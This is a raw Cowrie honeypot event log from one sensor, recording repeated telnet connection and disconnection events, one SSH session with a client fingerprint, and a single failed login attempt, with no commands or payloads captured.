{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50628,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bdc807b49d0","protocol":"telnet","message":"New connection: 51.161.172.108:50628 (159.203.135.109:23) [session: 5bdc807b49d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.412949Z"}
{"eventid":"cowrie.session.closed","duration":31.569351196289062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.466779Z","src_ip":"51.161.172.108","session":"0de3ff1ad38c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96882939338684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.471661Z","src_ip":"51.161.172.108","session":"f530f920c86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642953157424927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.545254Z","src_ip":"51.161.172.108","session":"2f71b057af0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50556,"dst_ip":"159.203.135.109","dst_port":23,"session":"9205f7d7223c","protocol":"telnet","message":"New connection: 51.161.172.108:50556 (159.203.135.109:23) [session: 9205f7d7223c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.689013Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f540df1e1c6f","protocol":"telnet","message":"New connection: 51.161.172.108:50642 (159.203.135.109:23) [session: f540df1e1c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.693847Z"}
{"eventid":"cowrie.session.closed","duration":30.35109782218933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.058049Z","src_ip":"45.10.154.244","session":"5c115f6527b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559436559677124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.185854Z","src_ip":"51.161.172.108","session":"e3b3796158ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.361700296401978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.357670Z","src_ip":"51.161.172.108","session":"91bf9a1a86a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50658,"dst_ip":"159.203.135.109","dst_port":23,"session":"edccfa698fb9","protocol":"telnet","message":"New connection: 51.161.172.108:50658 (159.203.135.109:23) [session: edccfa698fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.423007Z"}
{"eventid":"cowrie.session.closed","duration":45.116750955581665,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.457532Z","src_ip":"185.26.126.47","session":"ca0a6bd7da77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38681197166443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.499904Z","src_ip":"51.161.172.108","session":"ea81884f8236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72232723236084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.818752Z","src_ip":"51.161.172.108","session":"1b187d602ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21044945716858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.823383Z","src_ip":"51.161.172.108","session":"81514e311b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50668,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5997b4416f","protocol":"telnet","message":"New connection: 51.161.172.108:50668 (159.203.135.109:23) [session: fb5997b4416f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.831342Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50684,"dst_ip":"159.203.135.109","dst_port":23,"session":"c999360c992a","protocol":"telnet","message":"New connection: 51.161.172.108:50684 (159.203.135.109:23) [session: c999360c992a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.837764Z"}
{"eventid":"cowrie.session.closed","duration":31.672675609588623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:38.927857Z","src_ip":"51.161.172.108","session":"f0ecfe63e056","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22951340675354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.026557Z","src_ip":"51.161.172.108","session":"fd01d23b6941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13325548171997,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.087825Z","src_ip":"51.161.172.108","session":"514e52d0bd6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48504,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3bab21cf27","protocol":"telnet","message":"New connection: 51.161.172.108:48504 (159.203.135.109:23) [session: ee3bab21cf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.202909Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48508,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f5d5011156","protocol":"telnet","message":"New connection: 51.161.172.108:48508 (159.203.135.109:23) [session: f8f5d5011156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.314804Z"}
{"eventid":"cowrie.session.closed","duration":31.15047311782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.349459Z","src_ip":"51.161.172.108","session":"96ddf229e473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.424572229385376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.463921Z","src_ip":"45.10.154.244","session":"63e3ffbafec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332165479660034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.497703Z","src_ip":"51.161.172.108","session":"d671604a4762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842464208602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.536704Z","src_ip":"51.161.172.108","session":"89052a667de6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13665819168091,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.541391Z","src_ip":"167.99.38.72","session":"dd9c4dd68cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50884,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8463e226636","protocol":"telnet","message":"New connection: 34.69.118.1:50884 (159.203.135.109:23) [session: c8463e226636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.856512Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48518,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed6bf1b0bdc","protocol":"telnet","message":"New connection: 51.161.172.108:48518 (159.203.135.109:23) [session: 0ed6bf1b0bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.947781Z"}
{"eventid":"cowrie.session.closed","duration":31.42562437057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:39.953138Z","src_ip":"51.161.172.108","session":"bb628e28141e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48534,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a272aa84065","protocol":"telnet","message":"New connection: 51.161.172.108:48534 (159.203.135.109:23) [session: 3a272aa84065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.000664Z"}
{"eventid":"cowrie.session.closed","duration":31.120563745498657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.206290Z","src_ip":"51.161.172.108","session":"bb28d63a87af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62537956237793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.444479Z","src_ip":"51.161.172.108","session":"9f3b65e22488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23638916015625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.451098Z","src_ip":"51.161.172.108","session":"3b2c6c75be81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.425969123840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.456361Z","src_ip":"51.161.172.108","session":"567b3c720635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55920910835266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.478984Z","src_ip":"51.161.172.108","session":"38a519a2ef9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.546205043792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.487593Z","src_ip":"51.161.172.108","session":"29d5f85d48ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19437527656555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.525178Z","src_ip":"45.10.154.244","session":"0b55ac4912d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160746812820435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.590982Z","src_ip":"51.161.172.108","session":"91d679260f01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88918662071228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.778427Z","src_ip":"45.10.154.244","session":"99e2ed6c7f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e539f693b554","protocol":"telnet","message":"New connection: 51.161.172.108:48540 (159.203.135.109:23) [session: e539f693b554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.787314Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48546,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffdbb90f7850","protocol":"telnet","message":"New connection: 51.161.172.108:48546 (159.203.135.109:23) [session: ffdbb90f7850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:40.922569Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47240,"dst_ip":"10.17.0.5","dst_port":23,"session":"aed956a13033","protocol":"telnet","message":"New connection: 45.10.154.244:47240 (10.17.0.5:23) [session: aed956a13033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.172227Z"}
{"eventid":"cowrie.session.closed","duration":30.25091528892517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.178582Z","src_ip":"45.10.154.244","session":"5253e732260d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48554,"dst_ip":"159.203.135.109","dst_port":23,"session":"594b2345458f","protocol":"telnet","message":"New connection: 51.161.172.108:48554 (159.203.135.109:23) [session: 594b2345458f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.248033Z"}
{"eventid":"cowrie.session.closed","duration":31.708696603775024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.253638Z","src_ip":"51.161.172.108","session":"bc53f4c7dbcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48562,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ae6d20f6d5","protocol":"telnet","message":"New connection: 51.161.172.108:48562 (159.203.135.109:23) [session: 49ae6d20f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.454591Z"}
{"eventid":"cowrie.session.closed","duration":31.808327198028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.743879Z","src_ip":"51.161.172.108","session":"539e07ab5b1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079777240753174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.831941Z","src_ip":"51.161.172.108","session":"b6ab7460ff4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.631898641586304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:41.953544Z","src_ip":"51.161.172.108","session":"1a92b41de9aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740464687347412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.104446Z","src_ip":"45.10.154.244","session":"8ffb10e40e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761433839797974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.170733Z","src_ip":"51.161.172.108","session":"2d6771c87273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48564,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e34b55ddffa","protocol":"telnet","message":"New connection: 51.161.172.108:48564 (159.203.135.109:23) [session: 9e34b55ddffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.523731Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":48772,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2c643bcd274","protocol":"ssh","message":"New connection: 160.251.101.169:48772 (10.17.0.5:22) [session: c2c643bcd274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.654017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.659794Z","src_ip":"160.251.101.169","session":"c2c643bcd274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.445363521575928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.785357Z","src_ip":"51.161.172.108","session":"66651a38a403","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.834098Z","src_ip":"160.251.101.169","session":"c2c643bcd274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.859469890594482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:42.946998Z","src_ip":"51.161.172.108","session":"761da781a999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48984fe87a2","protocol":"telnet","message":"New connection: 45.10.154.244:54850 (10.17.0.5:23) [session: a48984fe87a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.123325Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55580,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd36c624609","protocol":"telnet","message":"New connection: 45.10.154.244:55580 (10.17.0.5:23) [session: 1bd36c624609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.297518Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55644,"dst_ip":"10.17.0.5","dst_port":23,"session":"45e322afb0e3","protocol":"telnet","message":"New connection: 45.10.154.244:55644 (10.17.0.5:23) [session: 45e322afb0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.313765Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48570,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd61ed94810","protocol":"telnet","message":"New connection: 51.161.172.108:48570 (159.203.135.109:23) [session: 9fd61ed94810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.352886Z"}
{"eventid":"cowrie.session.closed","duration":31.11039710044861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.416861Z","src_ip":"45.10.154.244","session":"7628e83a7dff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304307222366333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.491215Z","src_ip":"51.161.172.108","session":"1f1fa945f274","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu2022","message":"login attempt [ubuntu/Ubuntu2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.519704Z","src_ip":"160.251.101.169","session":"c2c643bcd274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.079591512680054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.593750Z","src_ip":"51.161.172.108","session":"3234f3452216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48572,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c60931e247","protocol":"telnet","message":"New connection: 51.161.172.108:48572 (159.203.135.109:23) [session: 57c60931e247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.894053Z"}
{"eventid":"cowrie.session.closed","duration":32.746845960617065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.897741Z","src_ip":"51.161.172.108","session":"bdba84e6fc11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085413455963135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.901156Z","src_ip":"51.161.172.108","session":"7f9b6795bf50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252685546875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.904571Z","src_ip":"51.161.172.108","session":"303461aad763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77643322944641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:43.953937Z","src_ip":"51.161.172.108","session":"ed50788c8261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311343669891357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.252496Z","src_ip":"51.161.172.108","session":"fc23de819bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85873579978943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.258742Z","src_ip":"51.161.172.108","session":"b9d4c567e99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48594,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e906421ba4","protocol":"telnet","message":"New connection: 51.161.172.108:48594 (159.203.135.109:23) [session: 98e906421ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.279264Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cdeff8caf2a","protocol":"telnet","message":"New connection: 51.161.172.108:48608 (159.203.135.109:23) [session: 5cdeff8caf2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.332084Z"}
{"eventid":"cowrie.session.closed","duration":31.02331829071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.430041Z","src_ip":"51.161.172.108","session":"19bb7885c119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48614,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf5d7207b0c","protocol":"telnet","message":"New connection: 51.161.172.108:48614 (159.203.135.109:23) [session: cbf5d7207b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.455012Z"}
{"eventid":"cowrie.session.closed","duration":31.480873823165894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.524520Z","src_ip":"51.161.172.108","session":"f2af9ab930af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.689649Z","src_ip":"160.251.101.169","session":"c2c643bcd274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.959280490875244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.694749Z","src_ip":"51.161.172.108","session":"5df2e6fcab0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893183946609497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.762002Z","src_ip":"51.161.172.108","session":"2cd117ab7f8b","protocol":"telnet"}
